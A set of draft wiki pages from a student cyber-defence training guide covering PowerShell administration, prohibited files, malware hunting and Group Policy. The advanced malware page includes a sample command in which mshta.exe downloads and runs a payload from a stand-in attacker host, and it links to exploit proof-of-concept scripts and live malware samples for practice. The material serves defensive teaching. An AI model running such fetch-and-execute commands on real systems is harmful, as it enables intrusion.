# Press '''Start''' and type <code>Powershell</code>
# Choose '''Windows Powershell''' or '''Powershell 7''' (if installed)
# To run with administrative privileges, right-click and select '''Run as Administrator'''

If the steps above do not work, try the solutions outlined in the Microsoft documentation: https://learn.microsoft.com/en-us/powershell/scripting/windows-powershell/starting-windows-powershell

== Syntax basics ==

'''Cmdlets:''' PowerShell commands follow the ''Verb-Noun'' naming convention. 
Example:

<syntaxhighlight lang="powershell">Get-Service</syntaxhighlight>
'''Pipelines (|):''' Pass the output of one command into another.

<syntaxhighlight lang="powershell">Get-Service | Stop-Service</syntaxhighlight>
'''DO NOT''' run code blindly from the internet. Always assess the code and potential risks before executing it. For example, the code above will "get" all services and pipe them into the "stop" command, which might stop critical services and potentially damage the host or guest system.

'''Variables:''' Use $ to define variables.

<syntaxhighlight lang="powershell">$name = "User"
${this can also be a variable} = "password"</syntaxhighlight>
'''Scripts:''' Save commands in a .ps1 file and execute it:

<syntaxhighlight lang="powershell">.\script.ps1</syntaxhighlight>
'''Help:'''

<syntaxhighlight lang="powershell">Get-Help <command></syntaxhighlight>
== Helpful websites, forums, and communities ==

[https://discord.gg/FhnaV8DnAY Cypat Community Discord (Recommended)]

[https://learn.microsoft.com/powershell/ Microsoft Learn: PowerShell]

[https://www.powershellgallery.com/ PowerShell Gallery – Find and share PowerShell modules.]

[https://www.reddit.com/r/PowerShell/ r/PowerShell (Reddit)]

[https://discord.gg/powershell PowerShell Discord Community]

[https://stackoverflow.com/questions/tagged/powershell Stack Overflow - PowerShell]

[[Category:Windows PowerShell|008]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:PowerShell for Intermediate Users

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

'''Author(s):''' Byrch 
'''Last Updated:''' 2025‑07‑30 
'''Recommended Prerequisites:''' None

<blockquote>This content was written with the intermediate audience in mind. For the experienced Powershell users in the community its important to emphasize that all scripts should be tested in a safe environment before being run in production. Additionally, development of scripts should following best practices and modularity to ensure maintainability and reusability despite what environment might be thrown at it.
</blockquote>

-----

== Learning objectives ==

By the end, learners should be able to:

* Write reusable '''functions''' and bundle them into '''modules''' with help/validation.
* Inspect and control '''Windows services''' and '''processes''' safely.
* Make targeted, reversible '''registry''' changes.
* Manage '''local users, groups, and permissions''' with audit trails.
* Build "'''automation'''" that logs actions and supports Powershell best practices.

-----

== 1) Functions & modules ==

=== Minimal, production‑ish function ===

<syntaxhighlight lang="powershell">
# Powershell functions follow a verb-noun naming convention, with only a few verbs approved for use.

function Set-StartupType {

# Parameter validation and support for -WhatIf and -Confirm
# CmdletBinding attribute enables advanced function features (and pipeline support)
[CmdletBinding(SupportsShouldProcess, ConfirmImpact='Medium')]
param(
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
[ValidateSet('Automatic','Manual','Disabled')]
[string]$StartupType,

[Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)]
[Alias('Name')]
[string[]]$ServiceName
)

# Function body should follow a begin, process, end pattern for structure and organization.
begin { }
process {
foreach ($svc in $ServiceName) {
if ($PSCmdlet.ShouldProcess("service '$svc'", "set startup to $StartupType")) {
try {
Set-Service -Name $svc -StartupType $StartupType -ErrorAction Stop
}
catch { Write-Error "Failed to set $svc: $_" }
}
}
}
}</syntaxhighlight>
=== Turning functions into a module ===

* Create a folder named for your module or script. Below is a simple structure for a module named <code>MyTeam.SecurityTools</code>. Such structure is the gold standard for modular and reusable Powershell code. (It also makes readability and maintenance easier :)

<syntaxhighlight lang="text">MyTeam.SecurityTools\
MyTeam.SecurityTools.psd1 # module manifest (version, author, tags)
MyTeam.SecurityTools.psm1 # exported functions
Private\*.ps1 # helpers</syntaxhighlight>
* Export with <code>Export-ModuleMember</code>.
* Version your manifest; keep functions idempotent and <code>-WhatIf</code> friendly.

-----

== 2) Working with services & processes ==

=== Example of an auditing of services ===

<syntaxhighlight lang="powershell">$knownGood = 'wuauserv','BITS','WinDefend','LanmanWorkstation','LanmanServer','Dhcp','Dnscache'
Get-Service | Select-Object Name, Status, StartType | Sort-Object Name |
Tee-Object -FilePath "$env:USERPROFILE\Desktop\services-audit.csv" | Out-Host
# Keeping a CSV of current services is a great way to baseline and track changes over time. Additionally, it can be useful for troubleshooting unexpected errors or behaviors.

# Highlight non-standard auto services
Get-Service | Where-Object { $_.StartType -eq 'Automatic' -and $_.Name -notin $knownGood } |
Select Name,DisplayName,Status | Format-Table -AutoSize</syntaxhighlight>
=== Safe scripting tips ===

* Prefer <code>Set-Service -StartupType Manual</code> over disabling until you confirm necessity.

<syntaxhighlight lang="powershell">$baseline = @{ 'Workstation' = @('WinDefend','wuauserv','BITS'); }
$expected = $baseline.Workstation
Get-Service | Where-Object Name -notin $expected | Export-Csv baseline-delta.csv -NoTypeInformation</syntaxhighlight>

-----

== 3) Registry edits (reversible and targeted) ==

=== Always: export before you change ===

<syntaxhighlight lang="powershell">$stamp = Get-Date -Format 'yyyyMMdd-HHmmss'
reg.exe export HKLM\SOFTWARE "HKLM_SOFTWARE_$stamp.reg" /y | Out-Null</syntaxhighlight>
=== Common, defensible tweaks ===

<syntaxhighlight lang="powershell"># Show file extensions (reduces double-extension tricks)
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced' -Name HideFileExt -Value 0

# Disable Guest if present
Get-LocalUser -Name 'Guest' -ErrorAction SilentlyContinue | ForEach-Object {
Disable-LocalUser -Name $_.Name
}</syntaxhighlight>
<blockquote>Keep a small revert script (or robust change log) alongside your changes.
</blockquote>

-----

== 4) Permissions & Users ==

=== Local accounts & groups ===

<syntaxhighlight lang="powershell"># Create a standard user
$u = 'ExampleTestUser'
if (-not (Get-LocalUser -Name $u -ErrorAction SilentlyContinue)) {
$pw = Read-Host -AsSecureString "Enter password for $u"
New-LocalUser -Name $u -Password $pw -AccountNeverExpires:$true -FullName 'Student Standard'
}

# Add new user to group
Add-LocalGroupMember -Group 'Users' -Member $u -ErrorAction SilentlyContinue

# Review admins
$approvedAdmins = @('Administrator','SusAdmin')
(Get-LocalGroupMember 'Administrators').Name |
Where-Object { $_ -notin $approvedAdmins } |
ForEach-Object { Write-Output "Review admin member: $_" }</syntaxhighlight>
=== NTFS ACLs ===

<syntaxhighlight lang="powershell">$path = 'C:\Shared'
if (-not (Test-Path $path)) { New-Item -ItemType Directory -Path $path | Out-Null }
$acl = Get-Acl $path
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule('Users','Modify','ContainerInherit,ObjectInherit','None','Allow')
$acl.SetAccessRule($rule)
Set-Acl -Path $path -AclObject $acl</syntaxhighlight>
==== - It is important to note that some cmdlets used in this section may require recent versions of Windows Powershell (or Powershell Core). ====

==== - Please ensure the support of these commandlets in your environment before using them. (i.e. Get-LocalUser, Get-LocalGroupMember, Add-LocalGroupMember will not work in Microsoft Windows 7 Powershell) ====

-----

== 5) Now that we have the scripting basics down, let's look at what more we can do with Powershell. Take a look at all these cmdlets! ==

= Management Module =

<syntaxhighlight lang="powershell">Get-Command -Module Microsoft.PowerShell.Management | Out-GridView</syntaxhighlight>
= Users =

<syntaxhighlight lang="powershell">Get-Command -Noun *User | Out-GridView</syntaxhighlight>
= Services =

<syntaxhighlight lang="powershell">Get-Command -Noun *Service | Out-GridView</syntaxhighlight>
= Processes =

<syntaxhighlight lang="powershell">Get-Command -Noun *Process | Out-GridView</syntaxhighlight>
= Registry =

<syntaxhighlight lang="powershell">Get-Command -Noun *ItemProperty | Out-GridView</syntaxhighlight>
= Firewall =

<syntaxhighlight lang="powershell">Get-Command -Noun *Firewall* | Out-GridView</syntaxhighlight>
= Scheduled Tasks =

<syntaxhighlight lang="powershell">Get-Command -Noun *ScheduledTask* | Out-GridView</syntaxhighlight>
= Transcription (Logging) =

<syntaxhighlight lang="powershell">Get-Command -Noun *Transcript* | Out-GridView</syntaxhighlight>

-----

== 9) Comment‑based help template ==

<syntaxhighlight lang="powershell"><#!
.SYNOPSIS
Sets a service startup type with WhatIf/Confirm support.
.DESCRIPTION
Safe wrapper around Set-Service for baseline enforcement.
.PARAMETER ServiceName
One or more service names.
.PARAMETER StartupType
Automatic, Manual, or Disabled.
.EXAMPLE
'WinDefend' | Set-StartupType -StartupType Automatic -WhatIf
#></syntaxhighlight>

-----

== 10) Quick reference (cheat sheet) (more cmdlets to take a look at) ==

* '''List services:''' <code>Get-Service | Sort Name</code>
* '''Change startup:''' <code>Set-Service -Name <svc> -StartupType Manual</code>
* '''Running processes:''' <code>Get-Process | Sort CPU -Desc | Select -First 10</code>
* '''Local users:''' <code>Get-LocalUser</code> / <code>Enable-LocalUser</code> / <code>Disable-LocalUser</code>
* '''Local groups:''' <code>Get-LocalGroupMember Administrators</code>
* '''Registry provider:''' <code>Get-Item 'HKLM:\...'</code> / <code>Set-ItemProperty</code>
* '''Firewall:''' <code>Set-NetFirewallProfile -Profile Domain,Private,Public -Enabled True</code>
* '''Logging:''' <code>Start-Transcript</code> / <code>Stop-Transcript</code>
* '''Scheduled task:''' <code>Register-ScheduledTask</code>

-----

== 12) Notes & guardrails ==

* Use <code>-WhatIf</code> first; only remove or disable after documenting a reason.
* Create a restore point if available: <code>Checkpoint-Computer -Description 'BeforeHygiene'</code> (requires System Protection).
* Avoid blanket disabling of services; prefer Manual unless you’ve confirmed.
* Keep all changes reversible and logged to a dated folder on the Desktop.

-----

=== Attribution ===

You may copy/adapt with attribution.

[[Category:Windows PowerShell|010]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Powershell for Advanced Users

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): Byrch

Last Updated: 07-30-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

= Pardon my ignorance =

==== I'm currently developing this part of the Powershell materials. I'm making sure it's the best. Please come back later! ====

==== In the meantine, please read the entire Microsoft Powershell documentation: [https://learn.microsoft.com/en-us/powershell/scripting/how-to-use-docs?view=powershell-5.1 here] ====

[[Category:Windows PowerShell|011]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Prohibited Files and Apps

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 07-03-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is this about? ==

This is mainly about deleting and removing unwanted files and apps. Note that this article does not include malware, as it is a different subject.

== Why do we need to worry about this? ==

This is for several reasons:

* Takes up space
* Increases attack surface (especially files like plaintext password files)
* Violates company policies

== Concepts ==

* Apps are stored in multiple locations
** C:\Program Files\
*** 64 bit
** C:\Program Files(x86)\
*** 32 bit on 64 bit computer
** C:\Users[User]\AppData\Local
*** User specific apps that don't require administrative privileges to download
*** also contains user specific app data
* Prohibited files are very diverse. Examples:
** Mp3 files
** OGG files
** Plain text password files
** Games
** etc.

== Tools ==

=== [https://www.voidtools.com/ Voidtools(Everything)] - Prohibited files ===

Voidtools is very helpful when finding prohibited files. It uses regex (Regular expresion) and is much faster than the Windows Explorer search. It is also helpful as you are able to see the creation date, which can help you determine whether a file is a system file or a prohibited file. If I wanted to find mp3 files, the regex would simply be<code>*.mp3</code>.

=== Settings and Control Panel - Prohibited apps ===

Settings and Control Panel are the easiest ways to find and remove apps.

Uninstall in Settings:

# Select Start(windows icon) > Settings > Apps > Installed apps.
# Find the app you want to remove, select More > Uninstall.
# Note: Some apps can't be uninstalled from the Settings app right now. For help uninstalling these apps, follow the instructions to uninstall from Control Panel.

Uninstall from Control Panel:

# In search on the taskbar, enter Control Panel and select it from the results.
# Select Programs > Programs and Features.
# Press and hold (or right-click) on the program you want to remove and select Uninstall or Uninstall/Change. Then follow the directions on the screen.

=== [https://windirstat.net/ WinDirStat] - Prohibited files ===

WinDirStat is a disk usage statistics viewer and cleanup assistant for Windows. It can assist in finding whether Users have prohibited files in their Common directories, as the percentage indicates empty directories, and it is easy to sift through common directories. It can also be used to find prohibited files in unusual locations, such as in <code>C:\</code> or in <code>%HOMEPATH%</code>.

== Practice ==

Most images have prohibited files: 
https://images.cypat.guide#gid=0

A specific practice image that will help with this is the [https://sakouk.me/cyberpatriot#eths-cyber-squad-policy-violations-image ETHS Cyber Squad Policy Violations Image]

-----

=== References, Further Reading, & Tools Mentioned ===

* https://support.microsoft.com/en-us/windows/uninstall-or-remove-apps-and-programs-in-windows-4b55f974-2cc6-2d2b-d092-5905080eaf98
* https://www.voidtools.com/
* https://windirstat.net/

[[Category:Windows Prohibited Files and Apps|003]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Malware Hunting - Beginner

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): carbonice

Last Updated: 07-1-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== Why do we care? ==

Practice images, especially the higher difficulty ones, are often riddled with malicious programs, DLLs, backdoors, services, configurations, and programs. Additionally, these techniques that are used also often leverage a security vulnerability to do what they need to do (example: a malicious DNS plugin was only installable because an unwanted user had the DNS Admin role).

== Finding the Easiest Malware ==

Some malware is easily discoverable because:

# The malware makes its presence known, like Desktop Goose. If it's actively bugging you, you know to look for it.
# It can be found within AutoRuns. See below.
# It can be found with a baseline MalwareBytes scan, as well as Windows Defender and other antiviruses.
# It isn't fileless... we will get to this eventually, haha.

== AutoRuns ==

A defender's best friend, at least for simpler cases. Autoruns can discover a wide variety of simple persistence mechanisms used by malicious programs to stay running:

* Registry keys such as HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, which run programs on system startup
* Context Menu Handlers, such as a malicious option when you right click a file
* Image hijacks, basically saying "You want to run this program, actually you are running this program instead." (often used to set up sethc or utilman backdoors, see [https://attack.mitre.org/techniques/T1546/008/ this])
* Scheduled Tasks
* Services
* Drivers

== Antiviruses ==

There are plenty of antiviruses that are easy and free to use. This includes:

# Windows Defender - make sure there are no exclusions prior to running the scan.
# Malwarebytes - note that this will override Windows Defender.
# Hitmanpro - note that this will set up a service.
# Bitdefender - note that this will override Windows Defender.
# Kaspersky Virus Removal Tool application - note it is banned in the US, so you may want to use a VPN.

== Practice ==

Any practice image beyond the beginner difficulty will have some form of malware. Take your pick! The Windows Persistence Image may be helpful, as it has 8 persistences. Malwarebazaar also has a ton of malware that you can practice with, just note that some malware uploaded may not be malware. Malwarebazaar also has a daily malware zip folder if you want to download a lot in one go.

-----

=== References, Further Reading, & Tools Mentioned ===

* https://attack.mitre.org/techniques/T1546/008/
* https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
* https://www.malwarebytes.com/mwb-download
* https://datalake.abuse.ch/malware-bazaar/daily/
* https://bazaar.abuse.ch/browse/

[[Category:Windows Malware|012]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Malware Hunting - Advanced

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person, Carbonice, Donkey (d0nkeyman), sv_du (sv-du)

Last Updated: 11-27-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

Malware Hunting - Beginner

|}

== Note ==

This article is structured like so:

# What is it?
# Why is it hard to detect?
# Example
# Mitigation/Detection

== LOLBinaries ==

LOL in this case stands for "Living Off the Land." These are pre-existing legitimate tools/binaries, typically trusted and signed, that are abused to do malicious activity. Doing this blends in with normal system activity, which can reduce the likelihood of being detected.

The main reason why it is hard to detect these is because of the leveraging of normal tools.

An example of malware using LOLBins is the use of regsvr32.exe to execute a malicious script/payload without dropping an actual executable file to disk. This technique is often used in fileless malware attacks.

<syntaxhighlight lang="bat">mshta.exe "http://attacker.com/skibidipayload.hta"</syntaxhighlight>
In this example:

* mshta.exe is a legit Windows binary used to run .hta files.
* http://attacker.com/skibidipayload.hta is a malicious payload
* mshta.exe will then download the file and execute it from memory

Modern EDRs (Endpoint Detection and Response) and AVs (Antivirus) thankfully can detect this. They typically use behavioral analysis along with Security Information and Event Management and User and Entity Behavior Analytics. AppLocker and Windows Defender Application Control can be used by Windows Defender to restrict LOLBins.

== Source Code Files ==

Yes, you read that right. Source code files (most commonly Python) are often used because they can easily be obfuscated and are not detected by AVs.

These are difficult to detect because on their own they are harmless-- running them with an appropriate application is what triggers the malware. Furthermore, AVs that use dynamic analysis may set up environments without the necessary applications and/or dependencies installed. This makes AVs start to rely more on hashes, which can be easily changed by adding/deleting comments or obfuscating the code.

Here are some examples of CVE PoCs written in Python, but do keep in mind that Python is not the only language that these PoCs can be written in.

* [https://github.com/RICSecLab/CVE-2019-0708/blob/master/exploit.py CVE-2019-0708 exploit.py] — [https://virustotal.com/file/0a8ca1b3137c46b2c762a65ca334bec5efe41f7a7edb5a85e23b60ff412ae1e1 VirusTotal]
* [https://github.com/b4keSn4ke/CVE-2014-6271/blob/main/shellshock.py CVE-2014-6271 shellshock.py] — [https://virustotal.com/file/f34dd84fb0c0188d7035896422078aeab8edb3f6840d2c447c88335b9dee8aa7 VirusTotal]

The main solution to this is just to simply use [https://www.voidtools.com/ Everything] and search for source code extensions (.py, .cs, etc). Additionally, if the applications needed to run these applications are not needed, uninstall them.

== Persistence Mechanisms ==

Persistence, are well, persistent. They are mainly for an attacker/red teamer to maintain access to a machine. This is usually done by making a script/binary execute on startup or when an event happens.

Some persistence mechanisms are very easy to detect because they follow the MITRE ATT&CK framework and show up in Autoruns. However, Autoruns is not able to detect some new persistence methods as it gets outdated. Also, in very rare instances, not all persistence mechanisms are covered in the MITRE ATT&CK framework, meaning some custom persistence methods might not be visible through either MITRE ATT&CK mappings or traditional detection tools. Also, the amount of false positives coming out of Autoruns is significantly increasing. For example, the Discord updater is incorrectly marked.

An example of Autoruns caught lacking is the [https://blog.phantomsec.tools/phantom-persistence Phantom Persistence] which is currently undetected when this was written (07/01/25). This was however mapped to the MITRE Framework a couple months before.

The best way to deal with this is through monitoring Event logs. [https://github.com/last-byte/PersistenceSniper PersistenceSniper] may also occasionally detect persistences that Autoruns does not. Sysmon may help in finding these, as it can find key Event IDs.

Here are some other ways persistence can be achieved: https://persistence-info.github.io/

== Vulnerable Drivers ==

Vulnerable drivers represent a significant threat as they operate with high privileges (kernel), allowing attackers to gain complete control of a system. A common technique is the "Bring Your Own Vulnerable Driver" (BYOVD) attack, where a legitimate, signed, but vulnerable driver is installed to bypass security controls and load malicious code. For example, malware has been observed exploiting a legitimate Avast anti-rootkit driver to disable security software.

These drivers are hard to find because they are often signed by trusted vendors, allowing them to appear authentic. Attackers can also use many variants of the same vulnerable driver to evade signature-based detection. This is also because of the slow rollouts of block lists. VT also shows that not many vendors/no venders detect vulnerable drivers.

Examples of this include RTCore64.sys and wsftprm.sys. These drivers are both vulnerable, both have CVEs, and are both not detected as much as they should be.

* https://www.virustotal.com/gui/file/01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd
* https://www.virustotal.com/gui/file/ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8

There are some tools that use the loldrivers data base, such as https://github.com/isiddique2024/Vulnerable-Driver-Scanner, and you can ultimately make your own. The <code>driverquery</code> command shows a list of drivers and can be compared with vulnerable drivers. Again, Sysmon can also detect driver loaded events.

Most drivers are often also registered services, so in your quest for finding vulnerable drivers you may find some use in viewing the installed services on the system. Additionally, most driver files are located in <code>C:\Windows\System32\drivers</code>, and a baseline can be used to find files that do not belong. Autoruns is also able to detect drivers, but it does not highlight vulnerable signed drivers, because they are signed. Therefore, it is important to create a baseline on a hardened vanilla machine before using Autoruns.

== Rootkits ==

Rootkits are a type of malware designed to conceal their presence. They are typically used to escalate privileges, hide files and processes, remotely execute files, act as backdoors, and monitor user activity. There are two types of rootkits: user-mode and kernel-mode. User-mode rootkits are easier to detect because they operate only at the application layer. Kernel-mode rootkits operate at the kernel level, which makes them much harder to detect.

Rootkits are difficult to detect, especially kernel-mode rootkits. Because these rootkits have the highest privileges, they can easily bypass or disable security software. They can also intercept API calls and modify them to hide their presence. In some cases, rootkits may even disable system logging or tamper with forensic tools to avoid detection.

A recent example of this is the Demodex rootkit, which you can read more about here: https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/

Detecting rootkits is difficult without proper tooling. Scanners like GMER, Malwarebytes' Anti-Rootkit scanner, Avast's Rootkit Scanner and Removal Tool, and Rootkit Revealer(although a bit outdated), are designed to look for the discrepancies and hidden artifacts that rootkits create.

== Fileless Malware ==

Fileless malware is a type of attack that operates in a computer's memory, without writing any executable files to the disk. This approach allows it to evade file-based detection. These attacks often leverage legitimate and trusted system tools(LOLbins), such as PowerShell or Windows Management Instrumentation to execute malicious code directly in memory.

Fileless malware is hard to find, especially after a restart. It also uses LOLBins, which blend in with normal system activity, making malicious actions appear routine. Traditional antivirus solutions primarily focus on scanning files stored on disk, which means fileless attacks can easily evade detection.

An example of this is the Emotet Malware. Emotet has been known to use WMI to execute PowerShell commands and launch powershell.exe without dropping files onto the disk, allowing it to evade many security tools. The Emotet also abused several other tactics. You can read more here https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a .

Application control can be used to prevent the misuse of LOLBins by enforcing constraints on their capabilities. A Host-Based Intrusion Prevention System (HIPS) can block suspicious in-memory activities. EDR solutions are also helpful in both detection and response, allowing analysts to terminate malicious processes and clean up changes made in memory or the registry.

== Firmware Malware ==

Firstly, firmware is software that provides low-level control of computing device hardware. Firmware malware is malicious software that infects a device’s firmware, obviously. This is kinda seperate as most of the stuff mentioned in the article previously works at a higher level and works on the operating system layer.

Firmware malware infects and modifies the firmware stored on your device's motherboard and other components, like network cards and storage drives. First of all, most OS security tools will not be able to detect it because it is at the not as low level. This malware is also persistent beyond just reinstalling the OS or disk wipes. There is also a lack of auditing at the firmware level.

Firmware malware is a really big threat because it works below the OS and typical security software and runs before the OS starts. This obviously makes it very hard to detect. Also, the malware can mostly survive OS reinstallation, factory resets, or disk wipes. This is all why this type of malware is extremely dangerous.

The Windows Platform Binary Table (WPBT) is a feature introduced in Windows 8 that lets manufacturers run a program every time the system starts. Although it is intended for legitimate purposes, security researchers found that weaknesses in how it works could be exploited by attackers to install persistent malware similar to rootkits. Eclypsium's [https://eclypsium.com/research/everyone-gets-a-rootkit/ WPBT Exploit Demonstration] demonstrates how attackers could exploit WPBT to install a rootkit on Windows systems. Another example is [https://www.eset.com/us/about/newsroom/research/eset-research-analyzes-blacklotus-a-uefi-bootkit-that-can-bypass-uefi-secure-boot-on-fully-patched-systems/?srsltid=AfmBOor9ztzLmLMxmjCO1r3dzIOhoIIes2I6QDxftNfMW4ehpIS3Cxhs the BlackLotus malware] which was extreemly bad and I suggest that you look into it if you have an interest in it.

There's not much to be done besides typical security to reduce risks. Make sure to keep the firmware updated to ensure that vulnerabilities are patched, auditing firmware, and use hardware-backed security (like secure boot, tpm, firmware right protections, and firmware integrity features like HP Sure Start).

== Post-Exploitation Frameworks and C2s ==

Post-exploitation frameworks are toolkits used by attackers after they have gained initial access to a system. These frameworks usually provide a Command and Control (C2 or C&C) server that allows an attacker to manage implants on compromised machines, enabling actions such as lateral movement, privilege escalation, and data exfiltration. Well-known examples include Cobalt Strike, Sliver, and Metasploit.

These frameworks are hard to detect because they aim to bypass security measures. Typically, post-exploitation frameworks escalate privileges. With this, the attacker can disable or blind security tools like antivirus and EDR solutions, as well as have rootkit like capabilities. They are sometimes fileless, using LOLBins or running things in memory, which poses the same issue as before. The framework's implants, or "beacons," often run completely in memory to avoid file-based scanners. Meanwhile, highly customizable C2 profiles enable their network traffic to imitate legitimate services, allowing them to blend in with regular network activity.

A very well known example is an attacker using Cobalt Strike's beacon, which injects into LOLBins. The beacon then communicates with the C2 server using a Malleable C2 profile configured to look like normal web traffic, requesting commands and sending back data at regular, "jittered" intervals to avoid detection by network monitoring tools.

Detecting these frameworks requires multiple security measures. Network traffic analysis can identify beaconing behavior through patterns in connection frequency, data size, and domain reputation, even when the traffic is encrypted. Advanced EDR solutions are important for detecting behavioral indicators of a C2, such as suspicious process injection, parent-child process anomalies, and in-memory execution. Proactive threat hunting using YARA rules (a pattern-matching engine) to scan memory and processes for known C2 framework artifacts. It can also detect hidden implants.

=== References, Further Reading, & Tools Mentioned ===

* https://socprime.com/blog/what-are-lolbins/
* https://lolbas-project.github.io/
* https://blog.phantomsec.tools/phantom-persistence
* https://persistence-info.github.io/
* https://attack.mitre.org/
* https://github.com/last-byte/PersistenceSniper
* https://www.loldrivers.io/
* https://en.wikipedia.org/wiki/Rootkit
* https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/
* https://www.crowdstrike.com/en-us/cybersecurity-101/malware/fileless-malware/
* https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a
* https://www.bleepingcomputer.com/news/security/microsoft-wpbt-flaw-lets-hackers-install-rootkits-on-windows-devices/
* https://github.com/InQuest/awesome-yara
* https://www.eset.com/us/about/newsroom/research/eset-research-analyzes-blacklotus-a-uefi-bootkit-that-can-bypass-uefi-secure-boot-on-fully-patched-systems/?srsltid=AfmBOor9ztzLmLMxmjCO1r3dzIOhoIIes2I6QDxftNfMW4ehpIS3Cxhs
* https://www.startupdefense.io/cyberattacks/firmware-attack
* https://www.eccouncil.org/cybersecurity-exchange/penetration-testing/firmware-security-risks-best-practices/#:~:text=Some%20malicious%20actions%20that%20can%20be%20performed,reviewing%20security%20code%20*%20Capturing%20security%20exceptions
* https://docs.rapid7.com/metasploit/about-post-exploitation/
* https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit?gid=0
* https://www.cobaltstrike.com/
* https://www.metasploit.com/
* https://github.com/Jamesits/dropWPBT
* https://eclypsium.com/research/everyone-gets-a-rootkit/
* http://www.gmer.net/
* https://www.malwarebytes.com/solutions/rootkit-scanner
* https://www.avast.com/c-rootkit-scanner-tool
* https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
* https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
* https://learn.microsoft.com/en-us/sysinternals/downloads/rootkit-revealer
* https://www.voidtools.com/

[[Category:Windows Malware|013]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to Group Policy

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 07-03-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is it? ==

Group Policy is a feature in Microsoft Windows that allows administrators to manage settings for users and computers. It provides centralized configuration and enforcement of operating systems, applications, and user settings. It's used in either networks or locally.

== Concepts ==

* '''Where Group Policy settings are stored:'''
** '''Registry Keys:''' The actual policy settings are written to these protected registry locations, overriding standard user or application settings.
*** <code>HKEY_LOCAL_MACHINE\Software\Policies</code> (for computer settings)
*** <code>HKEY_CURRENT_USER\Software\Policies</code> (for user settings)
*** ''(And the corresponding ...\Microsoft\Windows\CurrentVersion\Policies locations)''
** '''File System:''' The <code>%SystemRoot%\System32\GroupPolicy\</code> directory stores the files that make up a GPO, including administrative templates and script files.

== Group Policy vs Registry ==

They are both used to configure settings, but Registry is basically an unc. Here are the main differences:

* Each registry is local to its respective machine, while Group Policies can be applied to multiple computers
* Group policy is more persistent as group policies apply during startup.
* Group Policy is much easier to use as it gives setting names and explanations.

== How do I change Group Policies ==

* <code>gpedit.msc</code>
** Locally. You can edit them just by selecting the policies you want to set.
* <code>gpmc.msc</code> - For groups.
** For groups. You can edit them by selecting them on the sidebar.

== Local Security Policy ==

<code>secpol.msc</code> is a specific section of the local group policy(<code>Computer Configuration > Windows Settings > Security Settings</code>). Any change you make in <code>secpol.msc</code> is actually being made within the Local Group Policy (<code>gpedit.msc</code>) and can be viewed there.

'''Main Settings Configured in <code>secpol.msc</code>:'''

* '''Account Policies''' - This is where you configure password requirements (length, complexity, history) and account lockout policies (e.g., lock an account after 5 bad password attempts).
* '''Audit Policy''' - Determines which security-related events are logged in the Windows Security Event Log. For example, you can audit successful or failed logon attempts.
* '''User Rights Assignment''' - Controls the specific rights and privileges that users and groups have on the local machine, such as "Shut down the system" or "Back up files and directories."
* '''Security Options''' - A large collection of miscellaneous security settings, such as "Interactive logon: Do not display last user name" or policies related to User Account Control (UAC).

== Tools for automation and compliance ==

* [https://www.microsoft.com/en-us/download/details.aspx?id=55319 LGPO] - Allows you to import and export GPOs
* [https://github.com/scipag/HardeningKitty Hardening Kitty] - Similar to lgpo, and has diverse modes which can allow you to see the most critical policies that are set incorrectly. It also contains some premade baselines.
* [https://public.cyber.mil/stigs/scap/ SCC] - Developed by the Department of Defense. SCC has Security Content Automation Protocol (SCAP) content and tools to help with security compliance and automation.

== Premade baselines ==

* [https://www.cisecurity.org/cis-benchmarks CIS Benchmarks] - Baselines made by the Center for Internet Security. It provides two levels of baselining and is widely used.
* [https://stigviewer.com/stigs DoD Stigs] - Security baselines created by the Department of Defense. These guides are used to harden military networks and systems.

== Practice ==

ALL images except for images like the persistence image contain Group Policy points: 
images.cypat.guide

-----

=== References, Further Reading, & Tools Mentioned ===

* https://en.wikipedia.org/wiki/Group_Policy
* https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-policy/group-policy-overview
* https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-policy/group-policy-management-console
